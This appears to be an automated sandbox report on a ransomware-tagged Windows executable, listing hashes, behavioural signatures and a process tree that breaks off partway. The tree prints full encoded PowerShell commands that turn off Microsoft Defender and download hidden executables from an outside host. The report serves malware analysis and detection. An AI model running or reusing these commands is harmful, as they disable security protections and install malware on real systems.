Overview

overview

9

Static

static

1

cb966139ad...7b.exe

windows7-x64

cb966139ad...7b.exe

windows10-2004-x64

8

Analysis

  • max time kernel
    54s
  • max time network
    92s
  • platform
    windows7_x64
  • resource
    win7-20231215-en
  • resource tags

    arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
  • submitted
    12/02/2024, 04:28

Sharing

Copy URL
Twitter E-mail

Errors

Reason
Machine shutdown
Report Analysis Logs

General

  • Target

    cb966139adb162ea019d1f6ca648febaf4249cbb9e255f492987f26087c3397b.exe

  • Size

    4.8MB

  • MD5

    9803950281290044e32fb78605c129b5

  • SHA1

    133f587df70680d81c18d8c112b9a34e6041d629

  • SHA256

    cb966139adb162ea019d1f6ca648febaf4249cbb9e255f492987f26087c3397b

  • SHA512

    b5be7c8710a6dfea3fafc85cd10881c62be587607be8f05a61f9bf6aa88456c8c1dd694c85dd5707cd5518bb2f87f077824e410c24f081fab30ea13572de3c21

  • SSDEEP

    98304:pWFsTuRN2zazBLlLvOc1Pgd1E20fzsFvOF3BQQi4y0g1ea6:pWFsTuRN2zahf1Y7EhZSlI

Score
9/10
ransomware

Malware Config

Signatures

  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomware
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in System32 directory 32 IoCs
  • Drops file in Windows directory 26 IoCs
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Delays execution with timeout.exe 1 IoCs
    evasion
  • Interacts with shadow copies 2 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

    ransomware
  • Modifies Internet Explorer settings 1 TTPs 33 IoCs
    adwarespyware
  • Suspicious behavior: EnumeratesProcesses 34 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\cb966139adb162ea019d1f6ca648febaf4249cbb9e255f492987f26087c3397b.exe
    "C:\Users\Admin\AppData\Local\Temp\cb966139adb162ea019d1f6ca648febaf4249cbb9e255f492987f26087c3397b.exe"
    1⤵
    • Enumerates connected drives
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of WriteProcessMemory
    PID:2172
    • C:\Windows\SysWOW64\msiexec.exe
      "C:\Windows\system32\msiexec.exe" /i C:\Users\Admin\AppData\Local\Temp\FreeSoftPlace\2024.02.07\990F4DC\FreeSoftPlace.msi MSIINSTALLPERUSER=1 ALLUSERS=2 /qn AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\cb966139adb162ea019d1f6ca648febaf4249cbb9e255f492987f26087c3397b.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1707458550 " AI_EUIMSI=""
      2⤵
        PID:2872
    • C:\Windows\system32\msiexec.exe
      C:\Windows\system32\msiexec.exe /V
      1⤵
      • Enumerates connected drives
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2708
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 2E0E0059C149F885DC3117D7A0DB8E81 C
        2⤵
        • Loads dropped DLL
        PID:2712
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding A7C9D946C4BB715EFC0303E7A84F1776
        2⤵
        • Loads dropped DLL
        • Suspicious use of WriteProcessMemory
        PID:2672
        • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
          -NoProfile -Noninteractive -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\pss605B.ps1" -propFile "C:\Users\Admin\AppData\Local\Temp\msi6049.txt" -scriptFile "C:\Users\Admin\AppData\Local\Temp\scr604A.ps1" -scriptArgsFile "C:\Users\Admin\AppData\Local\Temp\scr604B.txt" -propSep " :<->: " -lineSep " <<:>> " -testPrefix "_testValue."
          3⤵
          • Drops file in System32 directory
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:1028
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -enc YwBoAGMAcAAgADEAMgA1ADIACgAkAFAAcgBvAGcAcgBlAHMAcwBQAHIAZQBmAGUAcgBlAG4AYwBlACAAPQAgACcAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAnAAoACgBTAGUAdAAtAEUAeABlAGMAdQB0AGkAbwBuAFAAbwBsAGkAYwB5ACAALQBTAGMAbwBwAGUAIABDAHUAcgByAGUAbgB0AFUAcwBlAHIAIABCAHkAcABhAHMAcwAgAC0ARgBvAHIAYwBlAAoAUwBlAHQALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAC0AUwBjAG8AcABlACAATABvAGMAYQBsAE0AYQBjAGgAaQBuAGUAIABCAHkAcABhAHMAcwAgAC0ARgBvAHIAYwBlAAoACgBpAGYAKAAtAE4AbwB0ACAAJAAoACQAKAB3AGgAbwBhAG0AaQApACAALQBlAHEAIAAiAG4AdAAgAGEAdQB0AGgAbwByAGkAdAB5AFwAcwB5AHMAdABlAG0AIgApACkAIAB7AAoAIAAgACAAIAAkAEkAcwBTAHkAcwB0AGUAbQAgAD0AIAAkAGYAYQBsAHMAZQAKAAoAIAAgACAAIABpAGYAIAAoAC0ATgBvAHQAIAAoAFsAUwBlAGMAdQByAGkAdAB5AC4AUAByAGkAbgBjAGkAcABhAGwALgBXAGkAbgBkAG8AdwBzAFAAcgBpAG4AYwBpAHAAYQBsAF0AIABbAFMAZQBjAHUAcgBpAHQAeQAuAFAAcgBpAG4AYwBpAHAAYQBsAC4AVwBpAG4AZABvAHcAcwBJAGQAZQBuAHQAaQB0AHkAXQA6ADoARwBlAHQAQwB1AHIAcgBlAG4AdAAoACkAKQAuAEkAcwBJAG4AUgBvAGwAZQAoAFsAUwBlAGMAdQByAGkAdAB5AC4AUAByAGkAbgBjAGkAcABhAGwALgBXAGkAbgBkAG8AdwBzAEIAdQBpAGwAdABJAG4AUgBvAGwAZQBdACAAJwBBAGQAbQBpAG4AaQBzAHQAcgBhAHQAbwByACcAKQApACAAewAKACAAIAAgACAAIAAgACAAIAAkAEMAbwBtAG0AYQBuAGQATABpAG4AZQAgAD0AIAAiAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABCAHkAcABhAHMAcwAgAGAAIgAiACAAKwAgACQATQB5AEkAbgB2AG8AYwBhAHQAaQBvAG4ALgBNAHkAQwBvAG0AbQBhAG4AZAAuAFAAYQB0AGgAIAArACAAIgBgACIAIAAiACAAKwAgACQATQB5AEkAbgB2AG8AYwBhAHQAaQBvAG4ALgBVAG4AYgBvAHUAbgBkAEEAcgBnAHUAbQBlAG4AdABzAAoAIAAgACAAIAAgACAAIAAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgAFAAbwB3AGUAcgBTAGgAZQBsAGwALgBlAHgAZQAgAC0AVgBlAHIAYgAgAFIAdQBuAGEAcwAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAkAEMAbwBtAG0AYQBuAGQATABpAG4AZQAKACAAIAAgACAAIAAgACAAIABFAHgAaQB0AAoAIAAgACAAIAB9AAoACgAgACAAIAAgACQAcABzAGUAeABlAGMAXwBwAGEAdABoACAAPQAgACQAKABHAGUAdAAtAEMAbwBtAG0AYQBuAGQAIABQAHMARQB4AGUAYwAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAJwBpAGcAbgBvAHIAZQAnACkALgBTAG8AdQByAGMAZQAgAAoAIAAgACAAIABpAGYAKAAkAHAAcwBlAHgAZQBjAF8AcABhAHQAaAApACAAewAKACAAIAAgACAAIAAgACAAIAAkAEMAbwBtAG0AYQBuAGQATABpAG4AZQAgAD0AIAAiACAALQBpACAALQBzACAAcABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACAAYAAiACIAIAArACAAJABNAHkASQBuAHYAbwBjAGEAdABpAG8AbgAuAE0AeQBDAG8AbQBtAGEAbgBkAC4AUABhAHQAaAAgACsAIAAiAGAAIgAgACIAIAArACAAJABNAHkASQBuAHYAbwBjAGEAdABpAG8AbgAuAFUAbgBiAG8AdQBuAGQAQQByAGcAdQBtAGUAbgB0AHMAIAAKACAAIAAgACAAIAAgACAAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAgAC0ARgBpAGwAZQBQAGEAdABoACAAJABwAHMAZQB4AGUAYwBfAHAAYQB0AGgAIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAJABDAG8AbQBtAGEAbgBkAEwAaQBuAGUACgAgACAAIAAgACAAIAAgACAAZQB4AGkAdAAKACAAIAAgACAAfQAgAGUAbABzAGUAIAB7AAoAIAAgACAAIAB9AAoACgB9ACAAZQBsAHMAZQAgAHsACgAgACAAIAAgACQASQBzAFMAeQBzAHQAZQBtACAAPQAgACQAdAByAHUAZQAKAH0ACgAKADYANwAuAC4AOQAwAHwAZgBvAHIAZQBhAGMAaAAtAG8AYgBqAGUAYwB0AHsACgAgACAAIAAgACQAZAByAGkAdgBlACAAPQAgAFsAYwBoAGEAcgBdACQAXwAKACAAIAAgACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAJAAoACQAZAByAGkAdgBlACkAOgBcACIAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUACgAgACAAIAAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAcgBvAGMAZQBzAHMAIAAiACQAKAAkAGQAcgBpAHYAZQApADoAXAAqACIAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUACgB9AAoACgBTAGUAdAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBMAG8AdwBUAGgAcgBlAGEAdABEAGUAZgBhAHUAbAB0AEEAYwB0AGkAbwBuACAAQQBsAGwAbwB3ACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAAoAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ATQBvAGQAZQByAGEAdABlAFQAaAByAGUAYQB0AEQAZQBmAGEAdQBsAHQAQQBjAHQAaQBvAG4AIABBAGwAbABvAHcAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUACgBTAGUAdAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBIAGkAZwBoAFQAaAByAGUAYQB0AEQAZQBmAGEAdQBsAHQAQQBjAHQAaQBvAG4AIABBAGwAbABvAHcAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUACgAKACQAbgBlAGUAZABfAHIAZQBiAG8AbwB0ACAAPQAgACQAZgBhAGwAcwBlAAoACgAkAHMAdgBjAF8AbABpAHMAdAAgAD0AIABAACgAIgBXAGQATgBpAHMAUwB2AGMAIgAsACAAIgBXAGkAbgBEAGUAZgBlAG4AZAAiACwAIAAiAFMAZQBuAHMAZQAiACkACgBmAG8AcgBlAGEAYwBoACgAJABzAHYAYwAgAGkAbgAgACQAcwB2AGMAXwBsAGkAcwB0ACkAIAB7AAoAIAAgACAAIABpAGYAKAAkACgAVABlAHMAdAAtAFAAYQB0AGgAIAAiAEgASwBMAE0AOgBcAFMAWQBTAFQARQBNAFwAQwB1AHIAcgBlAG4AdABDAG8AbgB0AHIAbwBsAFMAZQB0AFwAUwBlAHIAdgBpAGMAZQBzAFwAJABzAHYAYwAiACkAKQAgAHsACgAgACAAIAAgACAAIAAgACAAaQBmACgAIAAkACgARwBlAHQALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgAC0AUABhAHQAaAAgACIASABLAEwATQA6AFwAUwBZAFMAVABFAE0AXABDAHUAcgByAGUAbgB0AEMAbwBuAHQAcgBvAGwAUwBlAHQAXABTAGUAcgB2AGkAYwBlAHMAXAAkAHMAdgBjACIAKQAuAFMAdABhAHIAdAAgAC0AZQBxACAANAApACAAewAKACAAIAAgACAAIAAgACAAIAB9ACAAZQBsAHMAZQAgAHsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABTAGUAdAAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAIgBIAEsATABNADoAXABTAFkAUwBUAEUATQBcAEMAdQByAHIAZQBuAHQAQwBvAG4AdAByAG8AbABTAGUAdABcAFMAZQByAHYAaQBjAGUAcwBcACQAcwB2AGMAIgAgAC0ATgBhAG0AZQAgAFMAdABhAHIAdAAgAC0AVgBhAGwAdQBlACAANAAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAbgBlAGUAZABfAHIAZQBiAG8AbwB0ACAAPQAgACQAZgBhAGwAcwBlAAoAIAAgACAAIAAgACAAIAAgAH0ACgAgACAAIAAgAH0AIABlAGwAcwBlACAAewAKACAAIAAgACAAfQAKAH0ACgAKACQAZAByAHYAXwBsAGkAcwB0ACAAPQAgAEAAKAAiAFcAZABuAGkAcwBEAHIAdgAiACwAIAAiAHcAZABmAGkAbAB0AGUAcgAiACwAIAAiAHcAZABiAG8AbwB0ACIAKQAKAGYAbwByAGUAYQBjAGgAKAAkAGQAcgB2ACAAaQBuACAAJABkAHIAdgBfAGwAaQBzAHQAKQAgAHsACgAgACAAIAAgAGkAZgAoACQAKABUAGUAcwB0AC0AUABhAHQAaAAgACIASABLAEwATQA6AFwAUwBZAFMAVABFAE0AXABDAHUAcgByAGUAbgB0AEMAbwBuAHQAcgBvAGwAUwBlAHQAXABTAGUAcgB2AGkAYwBlAHMAXAAkAGQAcgB2ACIAKQApACAAewAKACAAIAAgACAAIAAgACAAIABpAGYAKAAgACQAKABHAGUAdAAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAIgBIAEsATABNADoAXABTAFkAUwBUAEUATQBcAEMAdQByAHIAZQBuAHQAQwBvAG4AdAByAG8AbABTAGUAdABcAFMAZQByAHYAaQBjAGUAcwBcACQAZAByAHYAIgApAC4AUwB0AGEAcgB0ACAALQBlAHEAIAA0ACkAIAB7AAoAIAAgACAAIAAgACAAIAAgAH0AIABlAGwAcwBlACAAewAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFMAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAiAEgASwBMAE0AOgBcAFMAWQBTAFQARQBNAFwAQwB1AHIAcgBlAG4AdABDAG8AbgB0AHIAbwBsAFMAZQB0AFwAUwBlAHIAdgBpAGMAZQBzAFwAJABkAHIAdgAiACAALQBOAGEAbQBlACAAUwB0AGEAcgB0ACAALQBWAGEAbAB1AGUAIAA0AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABuAGUAZQBkAF8AcgBlAGIAbwBvAHQAIAA9ACAAJABmAGEAbABzAGUACgAgACAAIAAgACAAIAAgACAAfQAKACAAIAAgACAAfQAgAGUAbABzAGUAIAB7AAoAIAAgACAAIAB9AAoAfQAKAAoAaQBmACgAJAAoAEcARQBUAC0AUwBlAHIAdgBpAGMAZQAgAC0ATgBhAG0AZQAgAFcAaQBuAEQAZQBmAGUAbgBkACkALgBTAHQAYQB0AHUAcwAgAC0AZQBxACAAIgBSAHUAbgBuAGkAbgBnACIAKQAgAHsAIAAgACAACgAgACAAIAAgACQAbgBlAGUAZABfAHIAZQBiAG8AbwB0ACAAPQAgACQAZgBhAGwAcwBlAAoAfQA=
            4⤵
            • Drops file in System32 directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:636
            • C:\Windows\system32\chcp.com
              "C:\Windows\system32\chcp.com" 1252
              5⤵
                PID:312
              • C:\Windows\system32\whoami.exe
                "C:\Windows\system32\whoami.exe"
                5⤵
                  PID:1760
            • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
              -NoProfile -Noninteractive -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\pss7171.ps1" -propFile "C:\Users\Admin\AppData\Local\Temp\msi716E.txt" -scriptFile "C:\Users\Admin\AppData\Local\Temp\scr716F.ps1" -scriptArgsFile "C:\Users\Admin\AppData\Local\Temp\scr7170.txt" -propSep " :<->: " -lineSep " <<:>> " -testPrefix "_testValue."
              3⤵
              • Drops file in System32 directory
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of WriteProcessMemory
              PID:1044
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -enc YwBoAGMAcAAgADEAMgA1ADIACgAkAFAAcgBvAGcAcgBlAHMAcwBQAHIAZQBmAGUAcgBlAG4AYwBlACAAPQAgACcAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAnAAoACgBTAGUAdAAtAEUAeABlAGMAdQB0AGkAbwBuAFAAbwBsAGkAYwB5ACAALQBTAGMAbwBwAGUAIABDAHUAcgByAGUAbgB0AFUAcwBlAHIAIABCAHkAcABhAHMAcwAgAC0ARgBvAHIAYwBlAAoAUwBlAHQALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAC0AUwBjAG8AcABlACAATABvAGMAYQBsAE0AYQBjAGgAaQBuAGUAIABCAHkAcABhAHMAcwAgAC0ARgBvAHIAYwBlAAoACgBpAGYAIAAoAFQAZQBzAHQALQBQAGEAdABoACAALQBQAGEAdABoACAAIgAkAGUAbgB2ADoAUABSAE8ARwBSAEEATQBEAEEAVABBAFwAQgByAGEAdgBlAEMAcgBhAHMAaABIAGEAbgBkAGwAZQByAC4AZQB4AGUAIgAgAC0AUABhAHQAaABUAHkAcABlACAATABlAGEAZgApAHsAfQAKAGUAbABzAGUAIAB7AAoACQBJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAiAGgAdAB0AHAAcwA6AC8ALwBmAGkAbABlAHMALgBmAHIAZQBlAHMAbwBmAHQAcABsAGEAYwBlAC4AYwBvAG0ALwBCAHIAYQB2AGUAQwByAGEAcwBoAEgAYQBuAGQAbABlAHIALgBlAHgAZQAiACAALQBPAHUAdABGAGkAbABlACAAIgAkAGUAbgB2ADoAUABSAE8ARwBSAEEATQBEAEEAVABBAFwAQgByAGEAdgBlAEMAcgBhAHMAaABIAGEAbgBkAGwAZQByAC4AZQB4AGUAIgAKAH0ACgAKACQAZgBpAGwAZQAgAD0AIABHAGUAdAAtAEMAaABpAGwAZABJAHQAZQBtACAAIgAkAGUAbgB2ADoAUABSAE8ARwBSAEEATQBEAEEAVABBAFwAQgByAGEAdgBlAEMAcgBhAHMAaABIAGEAbgBkAGwAZQByAC4AZQB4AGUAIgAKACQAZgBpAGwAZQAuAEEAdAB0AHIAaQBiAHUAdABlAHMAIAA9ACAAJwBIAGkAZABkAGUAbgAnACwAJwBTAHkAcwB0AGUAbQAnAA==
                4⤵
                • Drops file in System32 directory
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of WriteProcessMemory
                PID:1536
                • C:\Windows\system32\chcp.com
                  "C:\Windows\system32\chcp.com" 1252
                  5⤵
                    PID:2080
              • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                -NoProfile -Noninteractive -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\pss7BE1.ps1" -propFile "C:\Users\Admin\AppData\Local\Temp\msi7BDE.txt" -scriptFile "C:\Users\Admin\AppData\Local\Temp\scr7BDF.ps1" -scriptArgsFile "C:\Users\Admin\AppData\Local\Temp\scr7BE0.txt" -propSep " :<->: " -lineSep " <<:>> " -testPrefix "_testValue."
                3⤵
                • Drops file in System32 directory
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of WriteProcessMemory
                PID:2388
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -enc YwBoAGMAcAAgADEAMgA1ADIACgAkAFAAcgBvAGcAcgBlAHMAcwBQAHIAZQBmAGUAcgBlAG4AYwBlACAAPQAgACcAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAnAAoACgBTAGUAdAAtAEUAeABlAGMAdQB0AGkAbwBuAFAAbwBsAGkAYwB5ACAALQBTAGMAbwBwAGUAIABDAHUAcgByAGUAbgB0AFUAcwBlAHIAIABCAHkAcABhAHMAcwAgAC0ARgBvAHIAYwBlAAoAUwBlAHQALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAC0AUwBjAG8AcABlACAATABvAGMAYQBsAE0AYQBjAGgAaQBuAGUAIABCAHkAcABhAHMAcwAgAC0ARgBvAHIAYwBlAAoACgBpAGYAIAAoAFQAZQBzAHQALQBQAGEAdABoACAALQBQAGEAdABoACAAIgAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQBcAEcAbwBvAGcAbABlAEMAcgBhAHMAaABIAGEAbgBkAGwAZQByAC4AZQB4AGUAIgAgAC0AUABhAHQAaABUAHkAcABlACAATABlAGEAZgApAHsAfQAKAGUAbABzAGUAIAB7AAoACQBJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAiAGgAdAB0AHAAcwA6AC8ALwBmAGkAbABlAHMALgBmAHIAZQBlAHMAbwBmAHQAcABsAGEAYwBlAC4AYwBvAG0ALwBHAG8AbwBnAGwAZQBDAHIAYQBzAGgASABhAG4AZABsAGUAcgAuAGUAeABlACIAIAAtAE8AdQB0AEYAaQBsAGUAIAAiACQAZQBuAHYAOgBBAFAAUABEAEEAVABBAFwARwBvAG8AZwBsAGUAQwByAGEAcwBoAEgAYQBuAGQAbABlAHIALgBlAHgAZQAiAAoAfQAKAAoAJABmAGkAbABlACAAPQAgAEcAZQB0AC0AQwBoAGkAbABkAEkAdABlAG0AIAAiACQAZQBuAHYAOgBBAFAAUABEAEEAVABBAFwARwBvAG8AZwBsAGUAQwByAGEAcwBoAEgAYQBuAGQAbABlAHIALgBlAHgAZQAiAAoAJABmAGkAbABlAC4AQQB0AHQAcgBpAGIAdQB0AGUAcwAgAD0AIAAnAEgAaQBkAGQAZQBuACcALAAnAFMAeQBzAHQAZQBtACcACgAKACQAZgBpAGwAZQAgAD0AIABHAGUAdAAtAEMAaABpAGwAZABJAHQAZQBtACAAIgAkAGUAbgB2ADoAVQBTAEUAUgBQAFIATwBGAEkATABFAFwAQQBQAFAARABBAFQAQQBcAEwATwBDAEEATABcAFQARQBNAFAAXABkAEkAbABoAG8AcwB0AC4AZQB4AGUAIgAKACQAZgBpAGwAZQAuAEEAdAB0AHIAaQBiAHUAdABlAHMAIAA9ACAAJwBIAGkAZABkAGUAbgAnACwAJwBTAHkAcwB0AGUAbQAnAAoACgAkAGYAaQBsAGUAIAA9ACAARwBlAHQALQBDAGgAaQBsAGQASQB0AGUAbQAgACIAJABlAG4AdgA6AFMAeQBzAHQAZQBtAFIAbwBvAHQAXABUAEUATQBQAFwAZABJAGwAaABvAHMAdAAuAGUAeABlACIACgAkAGYAaQBsAGUALgBBAHQAdAByAGkAYgB1AHQAZQBzACAAPQAgACcASABpAGQAZABlAG4AJwAsACcAUwB5AHMAdABlAG0AJwA=
                  4⤵
                  • Drops file in System32 directory
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of WriteProcessMemory
                  PID:1572
                  • C:\Windows\system32\chcp.com
                    "C:\Windows\system32\chcp.com" 1252
                    5⤵
                      PID:2356
                • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                  -NoProfile -Noninteractive -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\pss8A57.ps1" -propFile "C:\Users\Admin\AppData\Local\Temp\msi8A54.txt" -scriptFile "C:\Users\Admin\AppData\Local\Temp\scr8A55.ps1" -scriptArgsFile "C:\Users\Admin\AppData\Local\Temp\scr8A56.txt" -propSep " :<->: " -lineSep " <<:>> " -testPrefix "_testValue."
                  3⤵
                  • Drops file in System32 directory
                  • Suspicious behavior: EnumeratesProcesses
                  PID:2904
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -enc YwBoAGMAcAAgADEAMgA1ADIACgAkAFAAcgBvAGcAcgBlAHMAcwBQAHIAZQBmAGUAcgBlAG4AYwBlACAAPQAgACcAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAnAAoACgBTAGUAdAAtAEUAeABlAGMAdQB0AGkAbwBuAFAAbwBsAGkAYwB5ACAALQBTAGMAbwBwAGUAIABDAHUAcgByAGUAbgB0AFUAcwBlAHIAIABCAHkAcABhAHMAcwAgAC0ARgBvAHIAYwBlAAoAUwBlAHQALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAC0AUwBjAG8AcABlACAATABvAGMAYQBsAE0AYQBjAGgAaQBuAGUAIABCAHkAcABhAHMAcwAgAC0ARgBvAHIAYwBlAAoACgBpAGYAIAAoAFQAZQBzAHQALQBQAGEAdABoACAALQBQAGEAdABoACAAIgAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQBcAEcAbwBvAGcAbABlAEMAcgBhAHMAaABIAGEAbgBkAGwAZQByADYANAAuAGUAeABlACIAIAAtAFAAYQB0AGgAVAB5AHAAZQAgAEwAZQBhAGYAKQB7AH0ACgBlAGwAcwBlACAAewAKAAkASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAAIgBoAHQAdABwAHMAOgAvAC8AZgBpAGwAZQBzAC4AZgByAGUAZQBzAG8AZgB0AHAAbABhAGMAZQAuAGMAbwBtAC8ARwBvAG8AZwBsAGUAQwByAGEAcwBoAEgAYQBuAGQAbABlAHIANgA0AC4AZQB4AGUAIgAgAC0ATwB1AHQARgBpAGwAZQAgACIAJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXABHAG8AbwBnAGwAZQBDAHIAYQBzAGgASABhAG4AZABsAGUAcgA2ADQALgBlAHgAZQAiAAoAfQAKAAoAJABmAGkAbABlACAAPQAgAEcAZQB0AC0AQwBoAGkAbABkAEkAdABlAG0AIAAiACQAZQBuAHYAOgBBAFAAUABEAEEAVABBAFwARwBvAG8AZwBsAGUAQwByAGEAcwBoAEgAYQBuAGQAbABlAHIANgA0AC4AZQB4AGUAIgAKACQAZgBpAGwAZQAuAEEAdAB0AHIAaQBiAHUAdABlAHMAIAA9ACAAJwBIAGkAZABkAGUAbgAnACwAJwBTAHkAcwB0AGUAbQAnAAoACgAkAGYAaQBsAGUAIAA9ACAARwBlAHQALQBDAGgAaQBsAGQASQB0AGUAbQAgACIAJABlAG4AdgA6AFUAUwBFAFIAUABSAE8ARgBJAEwARQBcAEEAUABQAEQAQQBUAEEAXABMAE8AQwBBAEwAXABUAEUATQBQAFwAZABsAEkAaABvAHMAdAAuAGUAeABlACIACgAkAGYAaQBsAGUALgBBAHQAdAByAGkAYgB1AHQAZQBzACAAPQAgACcASABpAGQAZABlAG4AJwAsACcAUwB5AHMAdABlAG0AJwAKAAoAJABmAGkAbABlACAAPQAgAEcAZQB0AC0AQwBoAGkAbABkAEkAdABlAG0AIAAiACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBSAG8AbwB0AFwAVABFAE0AUABcAGQAbABJAGgAbwBzAHQALgBlAHgAZQAiAAoAJABmAGkAbABlAC4AQQB0AHQAcgBpAGIAdQB0AGUAcwAgAD0AIAAnAEgAaQBkAGQAZQBuACcALAAnAFMAeQBzAHQAZQBtACcA
                    4⤵
                    • Drops file in System32 directory
                    • Suspicious behavior: EnumeratesProcesses
                    PID:2332
                    • C:\Windows\system32\chcp.com
                      "C:\Windows\system32\chcp.com" 1252
                      5⤵
                        PID:2428
                  • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                    -NoProfile -Noninteractive -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\pss9380.ps1" -propFile "C:\Users\Admin\AppData\Local\Temp\msi937D.txt" -scriptFile "C:\Users\Admin\AppData\Local\Temp\scr937E.ps1" -scriptArgsFile "C:\Users\Admin\AppData\Local\Temp\scr937F.txt" -propSep " :<->: " -lineSep " <<:>> " -testPrefix "_testValue."
                    3⤵
                    • Drops file in System32 directory
